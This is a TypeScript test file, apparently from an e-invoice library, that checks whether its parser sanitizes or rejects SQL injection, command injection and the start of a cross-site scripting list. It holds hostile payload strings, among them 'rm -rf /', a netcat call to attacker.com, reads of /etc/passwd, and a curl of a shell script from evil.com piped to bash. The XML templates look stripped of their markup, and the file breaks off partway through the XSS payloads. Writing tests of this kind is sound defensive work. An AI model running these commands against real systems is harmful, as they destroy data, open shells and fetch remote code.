import { tap } from '@git.zone/tstest/tapbundle';
import * as plugins from '../plugins.js';
import { EInvoice } from '../../../ts/index.js';
import { PerformanceTracker } from '../performance.tracker.js';
const performanceTracker = new PerformanceTracker('SEC-04: Input Validation');
tap.test('SEC-04: Input Validation - should validate and sanitize all inputs', async (t) => {
const einvoice = new EInvoice();
// Test 1: SQL Injection attempts in XML fields
const sqlInjection = await performanceTracker.measureAsync(
'sql-injection-prevention',
async () => {
const sqlPayloads = [
"'; DROP TABLE invoices; --",
"1' OR '1'='1",
"admin'--",
"1; DELETE FROM users WHERE 1=1; --",
"' UNION SELECT * FROM passwords --"
];
const results = [];
for (const payload of sqlPayloads) {
const maliciousXML = `
${payload}
${payload}
${payload}
`;
try {
const result = await einvoice.parseDocument(maliciousXML);
// Check if payload was sanitized
const idValue = result?.ID || '';
const nameValue = result?.CustomerName || '';
results.push({
payload,
sanitized: !idValue.includes('DROP') && !idValue.includes('DELETE') && !idValue.includes('UNION'),
preserved: idValue.length > 0
});
} catch (error) {
results.push({
payload,
sanitized: true,
rejected: true,
error: error.message
});
}
}
return results;
}
);
sqlInjection.forEach(result => {
t.ok(result.sanitized, `SQL injection payload was sanitized: ${result.payload.substring(0, 20)}...`);
});
// Test 2: Command Injection attempts
const commandInjection = await performanceTracker.measureAsync(
'command-injection-prevention',
async () => {
const cmdPayloads = [
'; rm -rf /',
'| nc attacker.com 4444',
'`cat /etc/passwd`',
'$(curl http://evil.com/shell.sh | bash)',
'&& wget http://malware.com/backdoor'
];
const results = [];
for (const payload of cmdPayloads) {
const maliciousXML = `
${payload}
${payload}
`;
try {
const result = await einvoice.parseDocument(maliciousXML);
const refValue = result?.ReferenceNumber || '';
const descValue = result?.Description || '';
results.push({
payload,
sanitized: !refValue.includes('rm') && !refValue.includes('nc') &&
!refValue.includes('wget') && !refValue.includes('curl'),
preserved: refValue.length > 0
});
} catch (error) {
results.push({
payload,
sanitized: true,
rejected: true
});
}
}
return results;
}
);
commandInjection.forEach(result => {
t.ok(result.sanitized, `Command injection payload was sanitized`);
});
// Test 3: XSS (Cross-Site Scripting) attempts
const xssAttempts = await performanceTracker.measureAsync(
'xss-prevention',
async () => {
const xssPayloads = [
'',
'
',
'